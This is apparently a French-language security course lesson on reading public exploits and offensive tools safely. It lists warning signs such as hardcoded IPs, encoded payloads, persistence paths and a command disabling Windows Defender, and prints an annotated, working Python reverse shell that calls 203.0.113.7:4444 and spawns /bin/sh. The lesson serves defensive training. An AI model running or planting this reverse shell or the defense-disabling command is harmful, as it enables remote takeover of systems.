Aller au contenu principal

Semaine 14 — Analyse de code et d'outils offensifs

Objectifs pédagogiques

  • Lire un exploit public sans l'exécuter aveuglément.
  • Identifier les charges dangereuses, les rappels réseau, les persistances.
  • Documenter un outil offensif comme on rédige un constat : preuve, impact, remédiation.

Méthode de lecture d'un exploit

  1. Statique d'abord, jamais d'exécution avant compréhension.
  2. Localiser les primitives sensibles : ouverture de socket, appel système, exécution dynamique (eval, exec, Function, réflexion).
  3. Identifier la charge utile : ce qu'elle installe, ce qu'elle contacte, ce qu'elle persiste.
  4. Reconstituer le modèle de menace : à quel niveau de privilège, contre quelle version, avec quels prérequis réseau.

Signaux à repérer immédiatement

  • URL codées en dur pointant vers un domaine tiers.
  • Adresses IP littérales, surtout dans une plage résidentielle.
  • Chaînes encodées en base64 ou XOR — souvent une charge cachée.
  • Instructions d'écriture dans ~/.ssh/authorized_keys, crontab, Registry\Run.
  • Fonctions désactivant les défenses (Set-MpPreference -DisableRealtimeMonitoring $true).

Exemple annoté

# À NE PAS EXÉCUTER — annotation pédagogique.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket TCP
s.connect(("203.0.113.7", 4444)) # rappel externe codé en dur
os.dup2(s.fileno(), 0) # redirection stdin
os.dup2(s.fileno(), 1) # redirection stdout
os.dup2(s.fileno(), 2) # redirection stderr
subprocess.call(["/bin/sh", "-i"]) # shell interactif

Lecture : reverse shell TCP, connexion sortante vers 203.0.113.7:4444, aucune persistance, pas d'obfuscation. Détection possible par toute règle réseau bloquant les sorties inhabituelles.

Éthique

Publier un exploit fonctionnel doit toujours s'accompagner :

  • D'un délai de divulgation coordonné avec l'éditeur.
  • D'une remédiation documentée.
  • D'un cadre de responsabilité vis-à-vis des utilisateurs.

Prochaine étape

Une fois cette leçon marquée comme terminée, vous avez validé les 16 étapes du parcours. Passez au quiz final pour obtenir votre certificat.